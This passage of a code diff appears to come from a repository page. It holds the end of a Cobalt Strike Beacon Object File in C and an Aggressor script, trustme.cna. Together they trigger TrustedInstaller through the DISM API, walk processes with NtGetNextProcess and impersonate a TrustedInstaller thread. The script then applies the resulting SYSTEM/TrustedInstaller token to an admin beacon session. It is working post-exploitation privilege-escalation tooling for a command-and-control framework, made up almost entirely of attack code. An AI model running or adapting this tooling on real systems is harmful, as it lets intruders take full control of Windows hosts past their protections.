if (!pDismInitialize || !pDismOpenSession || !pDismCheckImageHealth || !pDismCloseSession || !pDismShutdown) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "Failed to resolve one or more DISM functions");
|
||||
KERNEL32$FreeLibrary(hDism);
|
||||
return;
|
||||
}
|
||||
|
||||
// resolve ntdll functions
|
||||
HMODULE hNtdll = KERNEL32$GetModuleHandleA("ntdll.dll");
|
||||
if (!hNtdll) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "Failed to get ntdll handle");
|
||||
KERNEL32$FreeLibrary(hDism);
|
||||
return;
|
||||
}
|
||||
|
||||
fnNtQueryInformationProcess pNtQIP = (fnNtQueryInformationProcess)KERNEL32$GetProcAddress(hNtdll, "NtQueryInformationProcess");
|
||||
fnNtGetNextProcess pNtGNP = (fnNtGetNextProcess)KERNEL32$GetProcAddress(hNtdll, "NtGetNextProcess");
|
||||
fnNtGetNextThread pNtGNT = (fnNtGetNextThread)KERNEL32$GetProcAddress(hNtdll, "NtGetNextThread");
|
||||
fnNtImpersonateThread pNtIT = (fnNtImpersonateThread)KERNEL32$GetProcAddress(hNtdll, "NtImpersonateThread");
|
||||
fnNtClose pNtC = (fnNtClose)KERNEL32$GetProcAddress(hNtdll, "NtClose");
|
||||
|
||||
if (!pNtQIP || !pNtGNP || !pNtGNT || !pNtIT || !pNtC) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "Failed to resolve one or more ntdll functions");
|
||||
KERNEL32$FreeLibrary(hDism);
|
||||
return;
|
||||
}
|
||||
|
||||
// trigger TrustedInstaller via DISM
|
||||
HRESULT hr = pDismInitialize(0, NULL, NULL);
|
||||
if (FAILED(hr)) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "DismInitialize failed: 0x%08X", hr);
|
||||
KERNEL32$FreeLibrary(hDism);
|
||||
return;
|
||||
}
|
||||
|
||||
DismSession session = 0;
|
||||
hr = pDismOpenSession(DISM_ONLINE_IMAGE, NULL, NULL, &session);
|
||||
if (FAILED(hr)) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "DismOpenSession failed: 0x%08X", hr);
|
||||
pDismShutdown();
|
||||
KERNEL32$FreeLibrary(hDism);
|
||||
return;
|
||||
}
|
||||
|
||||
DismImageHealthState state;
|
||||
MSVCRT$memset(&state, 0, sizeof(state));
|
||||
hr = pDismCheckImageHealth(session, FALSE, NULL, NULL, NULL, &state);
|
||||
if (FAILED(hr)) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "DismCheckImageHealth failed: 0x%08X", hr);
|
||||
pDismCloseSession(session);
|
||||
pDismShutdown();
|
||||
KERNEL32$FreeLibrary(hDism);
|
||||
return;
|
||||
}
|
||||
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[*] DISM health check complete, TrustedInstaller should be running");
|
||||
|
||||
// walk processes to find TrustedInstaller.exe
|
||||
HANDLE hProcess = NULL;
|
||||
HANDLE hPrevProcess = NULL;
|
||||
NTSTATUS status = 0;
|
||||
BOOL found = FALSE;
|
||||
|
||||
while (NT_SUCCESS(pNtGNP(hProcess, PROCESS_QUERY_INFORMATION, 0, 0, &hProcess))) {
|
||||
if (hPrevProcess) pNtC(hPrevProcess);
|
||||
hPrevProcess = hProcess;
|
||||
|
||||
ULONG len = 0;
|
||||
status = pNtQIP(hProcess, ProcessImageFileName, NULL, 0, &len);
|
||||
if (status != STATUS_INFO_LENGTH_MISMATCH && status != STATUS_BUFFER_TOO_SMALL)
|
||||
continue;
|
||||
if (len == 0)
|
||||
continue;
|
||||
|
||||
PUNICODE_STRING pImageFileName = (PUNICODE_STRING)MSVCRT$malloc(len);
|
||||
if (!pImageFileName)
|
||||
continue;
|
||||
|
||||
status = pNtQIP(hProcess, ProcessImageFileName, pImageFileName, len, &len);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
MSVCRT$free(pImageFileName);
|
||||
continue;
|
||||
}
|
||||
|
||||
BOOL isTarget = FALSE;
|
||||
if (pImageFileName->Buffer && pImageFileName->Length > 0) {
|
||||
// copy to stack buffer for case-insensitive match
|
||||
WCHAR lower[MAX_PATH];
|
||||
MSVCRT$memset(lower, 0, sizeof(lower));
|
||||
USHORT charsToCopy = pImageFileName->Length / sizeof(WCHAR);
|
||||
if (charsToCopy >= MAX_PATH) charsToCopy = MAX_PATH - 1;
|
||||
MSVCRT$memcpy(lower, pImageFileName->Buffer, charsToCopy * sizeof(WCHAR));
|
||||
lower[charsToCopy] = L'\0';
|
||||
MSVCRT$_wcslwr(lower);
|
||||
isTarget = (MSVCRT$wcsstr(lower, L"trustedinstaller.exe") != NULL);
|
||||
}
|
||||
MSVCRT$free(pImageFileName);
|
||||
|
||||
if (!isTarget)
|
||||
continue;
|
||||
|
||||
// get PID
|
||||
PROCESS_BASIC_INFORMATION pbi;
|
||||
MSVCRT$memset(&pbi, 0, sizeof(pbi));
|
||||
pNtQIP(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &len);
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[*] Found TrustedInstaller.exe (PID: %llu)",
|
||||
(unsigned long long)pbi.UniqueProcessId);
|
||||
|
||||
// walk threads and impersonate
|
||||
SECURITY_QUALITY_OF_SERVICE qos;
|
||||
MSVCRT$memset(&qos, 0, sizeof(qos));
|
||||
qos.Length = sizeof(qos);
|
||||
qos.ImpersonationLevel = SecurityImpersonation;
|
||||
qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
|
||||
qos.EffectiveOnly = FALSE;
|
||||
|
||||
HANDLE hThread = NULL;
|
||||
HANDLE hPrevThread = NULL;
|
||||
|
||||
while (NT_SUCCESS(pNtGNT(hProcess, hThread, THREAD_DIRECT_IMPERSONATION, 0, 0, &hThread))) {
|
||||
if (hPrevThread) pNtC(hPrevThread);
|
||||
hPrevThread = hThread;
|
||||
|
||||
status = pNtIT(KERNEL32$GetCurrentThread(), hThread, &qos);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "NtImpersonateThread failed: 0x%08X", status);
|
||||
continue;
|
||||
}
|
||||
|
||||
// make sure it actually worked by checking thread token identity
|
||||
char username[257];
|
||||
MSVCRT$memset(username, 0, sizeof(username));
|
||||
DWORD usernameLen = 257;
|
||||
ADVAPI32$GetUserNameA(username, &usernameLen);
|
||||
|
||||
if (MSVCRT$_stricmp(username, "SYSTEM") == 0) {
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] Thread impersonation successful (identity: %s)", username);
|
||||
|
||||
|
||||
// Register the impersonation token with Beacon so subsequent
|
||||
// beacon commands (ls, shell, etc.) use the TrustedInstaller context.
|
||||
// Open the thread token and pass it to BeaconUseToken.
|
||||
HANDLE hThreadToken = NULL;
|
||||
if (ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hThreadToken)) {
|
||||
if (!BeaconUseToken(hThreadToken)) {
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[!] BeaconUseToken failed, but thread impersonation is still active");
|
||||
} else {
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] Token applied to Beacon session");
|
||||
}
|
||||
|
||||
// BeaconUseToken duplicates internally, but we don't close here just in case the implementation varies
|
||||
|
||||
} else {
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[!] Could not open thread token for BeaconUseToken (err: %lu), impersonation still active on this thread", KERNEL32$GetLastError());
|
||||
}
|
||||
|
||||
found = TRUE;
|
||||
pNtC(hThread);
|
||||
pNtC(hProcess);
|
||||
goto cleanup_dism;
|
||||
}
|
||||
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[!] Impersonation returned unexpected identity: %s", username);
|
||||
}
|
||||
|
||||
if (hPrevThread) pNtC(hPrevThread);
|
||||
pNtC(hProcess);
|
||||
|
||||
BeaconPrintf(CALLBACK_ERROR, "Found TrustedInstaller but could not impersonate any thread");
|
||||
goto cleanup_dism;
|
||||
}
|
||||
|
||||
if (hPrevProcess && !found) pNtC(hPrevProcess);
|
||||
|
||||
if (!found) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "TrustedInstaller.exe not found in process walk");
|
||||
}
|
||||
|
||||
// clean up
|
||||
cleanup_dism:
|
||||
pDismCloseSession(session);
|
||||
pDismShutdown();
|
||||
KERNEL32$FreeLibrary(hDism);
|
||||
|
||||
if (found) {
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] Now running as TrustedInstaller. Use 'rev2self' to revert.");
|
||||
}
|
||||
}
|
||||
38
trustme.cna
Normal file
38
trustme.cna
Normal file
@ -0,0 +1,38 @@
|
||||
#
|
||||
# trustme.cna - Aggressor script for the TrustedInstaller impersonation BOF
|
||||
#
|
||||
# Usage: trustme
|
||||
# Requires: Admin beacon with SeDebugPrivilege available
|
||||
# Revert: rev2self
|
||||
#
|
||||
|
||||
beacon_command_register(
|
||||
"trustme",
|
||||
"Impersonate TrustedInstaller via DISM API trigger and thread impersonation.",
|
||||
"Synopsis: trustme\n\nElevates the current beacon thread to TrustedInstaller/SYSTEM context.\nUses the DISM API to start TrustedInstaller.exe without touching SCM,\nthen walks processes via NtGetNextProcess and impersonates a thread.\n\nRequires: Elevated (admin) beacon.\nRevert: rev2self"
|
||||
);
|
||||
|
||||
alias trustme {
|
||||
local('$barch $handle $data $args');
|
||||
|
||||
# Verify the beacon is in an elevated context
|
||||
if (!-isadmin $1) {
|
||||
berror($1, "trustme requires an elevated (admin) beacon.");
|
||||
return;
|
||||
}
|
||||
|
||||
# Determine architecture and load the correct object file
|
||||
$barch = barch($1);
|
||||
$handle = openf(script_resource("trustme. $+ $barch $+ .o"));
|
||||
$data = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
if (strlen($data) == 0) {
|
||||
berror($1, "Could not read trustme. $+ $barch $+ .o, is the object file in the same directory as this script?");
|
||||
return;
|
||||
}
|
||||
|
||||
# No arguments needed for this BOF
|
||||
btask($1, "Attempting to impersonate TrustedInstaller via DISM...");
|
||||
beacon_inline_execute($1, $data, "go", $null);
|
||||
}
|
||||
Loading…
x
Reference in New Issue
Block a user